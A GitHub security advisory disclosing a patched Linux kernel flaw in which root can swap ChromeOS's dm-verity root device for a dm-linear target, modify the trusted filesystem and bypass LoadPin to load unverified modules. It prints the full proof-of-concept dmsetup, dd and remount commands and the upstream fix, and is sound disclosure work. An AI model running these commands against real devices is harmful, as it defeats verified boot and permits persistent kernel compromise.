# Linux: LoadPin bypass via dm-verity table reload

High rcorrea35 published GHSA-6vq3-w69p-w63m on Jul 11

Package

**kernel** (n/a)

| Affected versions | Patched versions |
| --- | --- |
| < 4caae58406f8ceb741603eee460d79bacca9b1b5 | 4caae58406f8ceb741603eee460d79bacca9b1b5 |

## Description

### Summary

Dm-verity is used for extending root-of-trust to root filesystems for several distributions, including ChromeOS, Container-Optimized OS and Android. LoadPin builds on this property to restrict module/firmware loads to just the trusted root filesystem. Device-mapper table reloads currently allow users with root privileges to switch out the target with an equivalent dm-linear target and bypass verification till reboot. This allows root to bypass LoadPin and can be used to load untrusted and unverified kernel modules and firmware, which implies arbitrary kernel execution and persistence for peripherals that do not verify firmware updates.

### Severity

High - while the attack vector has a high barrier of entry (access to root shell), the resulting constructs allow the attacker to take a trusted read-only root filesystem and arbitrarily modify it at will for the remainder of the boot. By extension, this breaks down any guarantees built on the assumption that “verified root filesystem = trusted content”: an example of this is LoadPin, which trusts verified root filesystems. Absent a mechanism to modify the boot process, subsequent reboots will fail since an attempt to set up a dm-verity device on top of the modified filesystem will fail verification.

### Proof of Concept

**Precondition:** This specific attack scenario is gated on the user getting access to a root shell. Alternately, attackers that can leverage existing usages of `dmsetup` (eg. cryptohome in ChromeOS) to run arbitrary device mapper commands can lower the barrier to entry.

Setup: Any ChromeOS device running with rootfs verification. To simplify showcasing the exploit mechanism, we use a dev mode device with rootfs verification enabled, which already gives us access to a root shell.

On ChromeOS, the root device is named **vroot**. `dmsetup table` on a device shows the exact parameters of the target, although the attacker can figure out the parameters based on the device's storage configuration.

```
$ dmsetup table
vroot 0 <size> verity.... <root_device>
… other devices
```

The following set of commands result in an in-line replacement of the verity device with an equivalent dm-linear device:

```
$ dmsetup suspend vroot
$ dmsetup reload vroot --table "0 <size> linear <root_device> 0"
$ dmsetup resume vroot
```

This allows subsequent reads into **vroot** to bypass the verification. This also allows attackers that can in-place modify the dm-linear device to (1) write extents to existing files beneath the filesystem if it is a true read-only filesystem (eg. squashfs, erofs) or (2) remount the filesystem as rw and add files to it.

Note: on ChromeOS, the build scripts use a hack to mark the root filesystem as read only (set unsupported feature flags). That can be undone using:

```
ro_compat_offset=$((0x464 + 3))  # Set 'highest' byte
printf '\000' |
  sudo dd of=/dev/mapper/vroot seek=${ro_compat_offset} \
          conv=notrunc count=1 bs=1 2>/dev/null

mount -o rw,remount /
```

Since the mnt_id/superblock for the filesystem hasn't changed, LoadPin assumes that the module is still being read off of a verified filesystem.

The attacker can now attempt to load a custom kernel module (for illustration, we use an externally compiled lzo kernel module); normally, LoadPin will deny insmods from any non-root filesystem:

```
localhost ~ # insmod /tmp/abcd.ko.gz
insmod: ERROR: could not insert module /tmp/abcd.ko.gz: Operation not permitted
localhost ~ # dmesg | tail
…
[  765.974284] LoadPin: kernel-module denied obj="/tmp/abcd.ko.gz" pid=7105 cmdline="insmod
/tmp/abcd.ko.gz"
```

In contrast, attempting to copy the module over to the root filesystem and then using insmod successfully bypasses LoadPin. The load fails only because lzo determines a version mismatch (which can be trivially overridden).

```
localhost ~ # insmod /lib/modules/abcd.ko.gz
insmod: ERROR: could not insert module /lib/modules/abcd.ko.gz: Invalid module format

localhost ~ # dmesg | tail
…
[  620.335762] lzo: version magic '5.10.117 SMP preempt mod_unload ' should be '5.10.117-
16074-ge03ffab7384c SMP preempt mod_unload '
```

## Further Analysis

The device-mapper framework provides a mechanism to mark targets as immutable (and hence fail table reloads that try to change the target type). The following patch marks dm-verity targets as immutable:

```
diff --git a/drivers/md/dm-verity-target.c b/drivers/md/dm-verity-target.c
index 065d7d3ff026..55a410b2880e 100644
--- a/drivers/md/dm-verity-target.c
+++ b/drivers/md/dm-verity-target.c
@@ -1584,6 +1584,7 @@ static int verity_ctr(struct dm_target *ti, unsigned argc, char **argv)

 static struct target_type verity_target = {
        .name           = "verity",
+       .features       = DM_TARGET_IMMUTABLE,
        .version        = {1, 8, 0},
        .module         = THIS_MODULE,
        .ctr            = verity_ctr,
```

Subsequent attempts to replace verity with another target fail with:

```
> [  124.755083] device-mapper: ioctl: can't replace immutable target type verity
```

While reloads with the type verity still succeed (which might be a mechanism to change the error handling to “none” and hence bypass the verification), such commands only succeed in read-only mode (which implies that the device-mapper table will not be modified).

## Timeline

**Date reported**:5/26/2022
**Date fixed**: 6/01/2022
**Date disclosed**: 7/11/2022

### Severity

High

### CVE ID

No known CVE

### Weaknesses

No CWEs

### Credits

 **skukreti**